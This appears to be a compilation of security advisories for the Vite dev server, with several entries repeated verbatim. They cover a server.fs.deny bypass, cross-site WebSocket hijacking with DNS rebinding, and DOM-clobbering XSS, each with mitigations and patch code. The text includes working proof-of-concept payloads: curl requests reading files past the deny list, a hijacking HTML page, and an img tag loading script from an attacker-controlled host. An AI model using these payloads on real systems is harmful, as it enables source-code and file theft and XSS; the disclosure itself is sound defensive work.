$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Websites were able to send any requests to the development server and read the response in vite
Summary
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
Warning
This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Upgrade Path
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
- Using the backend integration feature
- Using a reverse proxy in front of Vite
- Accessing the development server via a domain other than
localhostor*.localhost- Using a plugin / framework that connects to the WebSocket server on their own from the browser
Using the backend integration feature
If you are using the backend integration feature and not setting
server.origin, you need to add the origin of the backend server to theserver.cors.originoption. Make sure to set a specific origin rather than*, otherwise any origin can access your development server.Using a reverse proxy in front of Vite
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than
localhostor*.localhost, you need to add the hostname to the newserver.allowedHostsoption. For example, if the reverse proxy is sending requests tohttp://vite:5173, you need to addviteto theserver.allowedHostsoption.Accessing the development server via a domain other than
localhostor*.localhostYou need to add the hostname to the new
server.allowedHostsoption. For example, if you are accessing the development server viahttp://foo.example.com:8080, you need to addfoo.example.comto theserver.allowedHostsoption.Using a plugin / framework that connects to the WebSocket server on their own from the browser
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
- fix the plugin / framework code to the make it compatible with the new version of Vite
- set
legacy.skipWebSocketTokenCheck: trueto opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
- When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.
Mitigation without upgrading Vite
[1]: Permissive default CORS settings
Set
server.corstofalseor limitserver.cors.originto trusted origins.[2]: Lack of validation on the Origin header for WebSocket connections
There aren't any mitigations for this.
[3]: Lack of validation on the Host header for HTTP requests
Use Chrome 94+ or use HTTPS for the development server.
Details
There are three causes that allowed malicious websites to send any requests to the development server:
[1]: Permissive default CORS settings
Vite sets the
Access-Control-Allow-Originheader depending onserver.corsoption. The default value wastruewhich setsAccess-Control-Allow-Origin: *. This allows websites on any origin tofetchcontents served on the development server.Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker sends a
fetch('http://127.0.0.1:5173/main.js')request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.- The attacker gets the content of
http://127.0.0.1:5173/main.js.[2]: Lack of validation on the Origin header for WebSocket connections
Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker runs
new WebSocket('http://127.0.0.1:5173', 'vite-hmr')by JS in that malicious web page.- The user edits some files.
- Vite sends some HMR messages over WebSocket.
- The attacker gets the content of the HMR messages.
[3]: Lack of validation on the Host header for HTTP requests
Unless
server.httpsis set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
- The attacker serves a malicious web page that is served on HTTP (
http://malicious.example.com:5173) (HTTPS won't work).- The user accesses the malicious web page.
- The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
- The attacker sends a
fetch('/main.js')request by JS in that malicious web page.- The attacker gets the content of
http://127.0.0.1:5173/main.jsbypassing the same origin policy.Impact
[1]: Permissive default CORS settings
Users with the default
server.corsoption may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.[2]: Lack of validation on the Origin header for WebSocket connections
All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
[3]: Lack of validation on the Host header for HTTP requests
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Related Information
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
PoC
[2]: Lack of validation on the Origin header for WebSocket connections
- I used the
reacttemplate which utilizes HMR functionality.npm create vite@latest my-vue-app-react -- --template react
- Then on a malicious server, serve the following POC html:
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html>
- Kick off Vite
npm run dev
- Load the development server (open
http://localhost:5173/) as well as the malicious page in the browser.- Edit
src/App.jsxfile and intentionally place a syntax error- Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed
Here's a video demonstrating the POC:
vite-cswsh.mov
๐จ Websites were able to send any requests to the development server and read the response in vite
Summary
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
Warning
This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Upgrade Path
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
- Using the backend integration feature
- Using a reverse proxy in front of Vite
- Accessing the development server via a domain other than
localhostor*.localhost- Using a plugin / framework that connects to the WebSocket server on their own from the browser
Using the backend integration feature
If you are using the backend integration feature and not setting
server.origin, you need to add the origin of the backend server to theserver.cors.originoption. Make sure to set a specific origin rather than*, otherwise any origin can access your development server.Using a reverse proxy in front of Vite
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than
localhostor*.localhost, you need to add the hostname to the newserver.allowedHostsoption. For example, if the reverse proxy is sending requests tohttp://vite:5173, you need to addviteto theserver.allowedHostsoption.Accessing the development server via a domain other than
localhostor*.localhostYou need to add the hostname to the new
server.allowedHostsoption. For example, if you are accessing the development server viahttp://foo.example.com:8080, you need to addfoo.example.comto theserver.allowedHostsoption.Using a plugin / framework that connects to the WebSocket server on their own from the browser
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
- fix the plugin / framework code to the make it compatible with the new version of Vite
- set
legacy.skipWebSocketTokenCheck: trueto opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
- When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.
Mitigation without upgrading Vite
[1]: Permissive default CORS settings
Set
server.corstofalseor limitserver.cors.originto trusted origins.[2]: Lack of validation on the Origin header for WebSocket connections
There aren't any mitigations for this.
[3]: Lack of validation on the Host header for HTTP requests
Use Chrome 94+ or use HTTPS for the development server.
Details
There are three causes that allowed malicious websites to send any requests to the development server:
[1]: Permissive default CORS settings
Vite sets the
Access-Control-Allow-Originheader depending onserver.corsoption. The default value wastruewhich setsAccess-Control-Allow-Origin: *. This allows websites on any origin tofetchcontents served on the development server.Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker sends a
fetch('http://127.0.0.1:5173/main.js')request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.- The attacker gets the content of
http://127.0.0.1:5173/main.js.[2]: Lack of validation on the Origin header for WebSocket connections
Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker runs
new WebSocket('http://127.0.0.1:5173', 'vite-hmr')by JS in that malicious web page.- The user edits some files.
- Vite sends some HMR messages over WebSocket.
- The attacker gets the content of the HMR messages.
[3]: Lack of validation on the Host header for HTTP requests
Unless
server.httpsis set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
- The attacker serves a malicious web page that is served on HTTP (
http://malicious.example.com:5173) (HTTPS won't work).- The user accesses the malicious web page.
- The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
- The attacker sends a
fetch('/main.js')request by JS in that malicious web page.- The attacker gets the content of
http://127.0.0.1:5173/main.jsbypassing the same origin policy.Impact
[1]: Permissive default CORS settings
Users with the default
server.corsoption may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.[2]: Lack of validation on the Origin header for WebSocket connections
All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
[3]: Lack of validation on the Host header for HTTP requests
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Related Information
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
PoC
[2]: Lack of validation on the Origin header for WebSocket connections
- I used the
reacttemplate which utilizes HMR functionality.npm create vite@latest my-vue-app-react -- --template react
- Then on a malicious server, serve the following POC html:
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html>
- Kick off Vite
npm run dev
- Load the development server (open
http://localhost:5173/) as well as the malicious page in the browser.- Edit
src/App.jsxfile and intentionally place a syntax error- Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed
Here's a video demonstrating the POC:
vite-cswsh.mov
๐จ Websites were able to send any requests to the development server and read the response in vite
Summary
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
Warning
This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Upgrade Path
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
- Using the backend integration feature
- Using a reverse proxy in front of Vite
- Accessing the development server via a domain other than
localhostor*.localhost- Using a plugin / framework that connects to the WebSocket server on their own from the browser
Using the backend integration feature
If you are using the backend integration feature and not setting
server.origin, you need to add the origin of the backend server to theserver.cors.originoption. Make sure to set a specific origin rather than*, otherwise any origin can access your development server.Using a reverse proxy in front of Vite
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than
localhostor*.localhost, you need to add the hostname to the newserver.allowedHostsoption. For example, if the reverse proxy is sending requests tohttp://vite:5173, you need to addviteto theserver.allowedHostsoption.Accessing the development server via a domain other than
localhostor*.localhostYou need to add the hostname to the new
server.allowedHostsoption. For example, if you are accessing the development server viahttp://foo.example.com:8080, you need to addfoo.example.comto theserver.allowedHostsoption.Using a plugin / framework that connects to the WebSocket server on their own from the browser
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
- fix the plugin / framework code to the make it compatible with the new version of Vite
- set
legacy.skipWebSocketTokenCheck: trueto opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
- When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.
Mitigation without upgrading Vite
[1]: Permissive default CORS settings
Set
server.corstofalseor limitserver.cors.originto trusted origins.[2]: Lack of validation on the Origin header for WebSocket connections
There aren't any mitigations for this.
[3]: Lack of validation on the Host header for HTTP requests
Use Chrome 94+ or use HTTPS for the development server.
Details
There are three causes that allowed malicious websites to send any requests to the development server:
[1]: Permissive default CORS settings
Vite sets the
Access-Control-Allow-Originheader depending onserver.corsoption. The default value wastruewhich setsAccess-Control-Allow-Origin: *. This allows websites on any origin tofetchcontents served on the development server.Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker sends a
fetch('http://127.0.0.1:5173/main.js')request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.- The attacker gets the content of
http://127.0.0.1:5173/main.js.[2]: Lack of validation on the Origin header for WebSocket connections
Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
- The attacker serves a malicious web page (
http://malicious.example.com).- The user accesses the malicious web page.
- The attacker runs
new WebSocket('http://127.0.0.1:5173', 'vite-hmr')by JS in that malicious web page.- The user edits some files.
- Vite sends some HMR messages over WebSocket.
- The attacker gets the content of the HMR messages.
[3]: Lack of validation on the Host header for HTTP requests
Unless
server.httpsis set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
- The attacker serves a malicious web page that is served on HTTP (
http://malicious.example.com:5173) (HTTPS won't work).- The user accesses the malicious web page.
- The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
- The attacker sends a
fetch('/main.js')request by JS in that malicious web page.- The attacker gets the content of
http://127.0.0.1:5173/main.jsbypassing the same origin policy.Impact
[1]: Permissive default CORS settings
Users with the default
server.corsoption may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.[2]: Lack of validation on the Origin header for WebSocket connections
All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
[3]: Lack of validation on the Host header for HTTP requests
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind
server.proxymay have those functionalities.Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Related Information
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
PoC
[2]: Lack of validation on the Origin header for WebSocket connections
- I used the
reacttemplate which utilizes HMR functionality.npm create vite@latest my-vue-app-react -- --template react
- Then on a malicious server, serve the following POC html:
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html>
- Kick off Vite
npm run dev
- Load the development server (open
http://localhost:5173/) as well as the malicious page in the browser.- Edit
src/App.jsxfile and intentionally place a syntax error- Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed
Here's a video demonstrating the POC:
vite-cswsh.mov
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
